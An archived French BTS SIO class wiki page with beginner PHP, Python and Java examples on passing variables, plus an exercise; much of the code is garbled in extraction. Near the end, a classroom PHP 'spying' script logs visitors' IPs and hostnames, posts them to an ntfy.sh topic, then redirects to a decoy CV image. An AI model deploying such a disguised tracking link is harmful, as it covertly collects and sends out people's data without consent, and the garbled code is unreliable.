WikiBtsSio

Bts1B2526S51Me

Ceci est une version archivée de Bts1B2526S51Me à 2025-12-19 00:17:00.
Lundi 15 décembre 2025


Mardi 16 décembre 2025
Passage de variables en PHP


<?php
function conv($n){
       return 
2*$n;
    }

function 
recup($n){
        
$a[1] = 2*$n;
        
$a[3] = 3*$n;
        return 
$a;
    }


$retour conv(14);
echo(
"Valeur de retour = " $retour "\n");

$n 49;
$a recup(6);
// print_r(" Tableau = " . $a . "\n");
// echo("Valeur de a = " . $a . "\n");
echo("Valeur de n = " $n "\n");
echo(
"Valeur de a(1) = " $a[1] . "\n");
echo(
"Valeur de a(3) = " $a[3] . "\n");

?>


<?php
function calcul($a$b) {
    return [
        
"somme" => $a $b,
        
"produit" => $a $b
    
];
}

$resultat calcul(34);
echo (
$resultat["somme"] . "\n");    // 7
echo $resultat["produit"]; // 12
?>


Code PHP pour Kaprekar :
<?php

function extraire($Nombre) { 
        
$a = (int)($Nombre/100);
        
$b = (int)(($Nombre 100*$a)/10);
        
$c $Nombre 100*$a 10*$b;
        echo(
"a = "$a "\n");
        echo(
"b = "$b  "\n");
        echo(
"c = "$c "\n");
        return 
$a;
    }


$Val 457;
$ret extraire($Val);

?>


Code PHP pour Kaprekar avec valeurs de retour dans un tableau :
<?php

function extraire($Nombre) { 
        
$a = (int)($Nombre/100);
        
$b = (int)(($Nombre 100*$a)/10);
        
$c $Nombre 100*$a 10*$b;
        
$Tab[0] = $a;
        
$Tab[1] = $b;
        
$Tab[2] = $c;
        return 
$Tab;
    }

$Val 247;
$Tab extraire($Val);
        echo(
"a = "$Tab[0] . "\n");
        echo(
"b = "$Tab[1]  . "\n");
        echo(
"c = "$Tab[2] . "\n");

?>



Passage de variables en python


<?php
def calcul
(a):
    print(
"Valeur de a = " a)
    
2*a
    
return a

24
print("Valeur de a dans le prog principal = " a)
calcul(a)
print(
"Valeur de b dans le prog principal = " b)
print(
"Valeur de a dans le prog principal = " a)


Retourner plusieurs valeurs en python :
<?php
def calcul
(a):
    print(
"Valeur de a dans la fonction = " a)
    
2*a
    b 
3*a
    
return a,b

24
print("Valeur de a dans le prog principal = " a)
x,calcul(a)
print(
"Valeur de x dans le prog principal = " x)
print(
"Valeur de y dans le prog principal = " y)
print(
"Valeur de a dans le prog principal = " a)


Passage de plusieurs variables en python par un tableau
<?php
def calcul
(a):
    
Tab = [00]   # tableau de taille 2
    
Tab[0] = 2*a
    Tab
[1] = 3*a
    a 
a
    
print("Valeur de a dans la fonction = " a)
    return 
Tab

7
print("Valeur de a dans le prog principal = " a)
Tableau = [0,0]
Tableau calcul(a)
print(
"Valeur de x dans le prog principal = " Tableau[0])
print(
"Valeur de y dans le prog principal = " Tableau[1])
print(
"Valeur de a dans le prog principal = " a)


Ajouter les lignes suivantes :
  • print("\n\n")
  • Tableau = calcul(3)
  • print("Valeur de x dans le prog principal = " , Tableau[0])
  • print("Valeur de y dans le prog principal = " , Tableau[1])
Dans la fonction on va redéfinir le tableau !!!


Passage de variables en java.


<?php
import java
.util.*;
import java.lang.*;
import java.io.*;

// The main method must be in a class named "Main".
class Main {
    public static 
void main(String[] args) {
        
System.out.println("Hello world!");
        
int monTableau[ ] = new int[10];
        
monTableau[0] = 12;
        
monTableau[1] = 21;
        
Calcul(monTableau);
        
System.out.println(monTableau[0]);
        
System.out.println(monTableau[1]);
    }
public static 
int[] Calcul(int[] tableau) {
        
tableau[0] = tableau[0];
        
tableau[1] = tableau[1];
        return 
tableau;
    }

}


Remarque
Ce code fonctionne également ...
<?php
// The main method must be in a class named "Main".
class Main {
    public static 
int[] Calcul(int[] tableau) {
        
tableau[0] = tableau[0];
        
tableau[1] = tableau[1];
        return 
tableau;
    }
    
    public static 
void main(String[] args) {
        
System.out.println("Hello world!");
        
int monTableau[ ] = new int[10];
        
monTableau[0] = 12;
        
monTableau[1] = 21;
        
Calcul(monTableau);
        
System.out.println(monTableau[0]);
        
System.out.println(monTableau[1]);
    }

}


Voyons comment utiliser Java avec Kaprekar ?
<?php

// The main method must be in a class named "Main".
class Main {
    public static 
int[] Extrac(int[] tableau) {
        
int x tableau[0];
        
tableau[0] = (int)(x/100);
        
tableau[1] = (int)((100*tableau[0])/10);
        
tableau[2] = 100*tableau[0] - 10 tableau[1];
        return 
tableau;
    }
    
    public static 
void main(String[] args) {
        
System.out.println("Hello world!");
        
int monTableau[ ] = new int[10];
        
monTableau[0] = 357;
        
Extrac(monTableau);
        
System.out.println(monTableau[0]);
        
System.out.println(monTableau[1]);
        
System.out.println(monTableau[2]);

    }


}



Liens

Python
  • Tab = []
  • Tab.append(2*a)
  • Tab.append(3*a)

def calcul(a):
  • Tab = [0, 0] # tableau de taille 2
  • print("Valeur de a dans la fonction =", a)
  • Tab[0] = 2 * a
  • Tab[1] = 3 * a
  • return Tab


Exercice :
On considère le programme Python suivant :
def calcul(a):
  • Tab = []
  • Tab[0] = 2 * a
  • Tab[1] = 3 * a
  • return Tab

a = 10
T = calcul(a)

print(T[0])
print(T[1])

Questions
  • Que fait ce programme ?
  • Le programme s’exécute-t-il correctement ? Justifier.
  • Si ce n’est pas le cas, proposer une correction minimale.
  • Donner l’affichage obtenu après correction.




15 heures 30 --> 17 heures 30
Un code qui espionne à installer sur alwaysdat ;-)

<?php
<?php

$file 
"fichier.txt";
$fileopen=(fopen("$file",'a'));
date_default_timezone_set("Europe/Paris");
$IP_client $_SERVER['REMOTE_ADDR'];
$Client gethostbyaddr($IP_client);

echo (
$IP_client "<BR><BR>");
# echo ($Client . "<BR>");

$date date("d-m-Y");
$heure date("H:i");
$dateheure " - Nous sommes le $date et il est $heure";
# echo ("<BR>" . $dateheure);

fwrite($fileopen$Client " \n " $dateheure " \n " $IP_client "\n\n");
fclose($fileopen);

$topic "testbtsio";
$message "Hello depuis PHP !" $IP "date et heure " $dateheure " host : " $Client ;
$ch curl_init("https://ntfy.sh/$topic");
curl_setopt($chCURLOPT_POSTtrue);
curl_setopt($chCURLOPT_POSTFIELDS$message);
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
$response curl_exec($ch);
curl_close($ch);
echo 
$response;



// header('Location: pdf-exemple.pdf');
header('Location: exemple-cv.jpg');

?>


Pour voir le fonctionnement !!
aller sur cette page puis cliquer sur le lien ...
Vous verrez votre passage dans ce fichier
et également à cette adresse.




<?php    
$to 
'recipient@email.com';    
$subject 'Mail sent from sendmail PHP script';    
$from 'test@testmail.com';    
$headers "From: $from";    
$headers .= "MIME-Version: 1.0\r\n";    
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";    
$message '<p><strong>Sendmail in PHP with HTML content. </strong></p>';    
if (
mail($to$subject$message$headers)) 
    {
            echo 
'Mail sent successfully.';    
    } 
    else 
    {        
        echo 
'Unable to send mail. Please try again.';    
    }
?>



Vendredi 19 décembre 2025
  • 10 heures 30 --> 12 heures 30



Il n'y a pas de commentaire sur cette page. [Afficher commentaires/formulaire]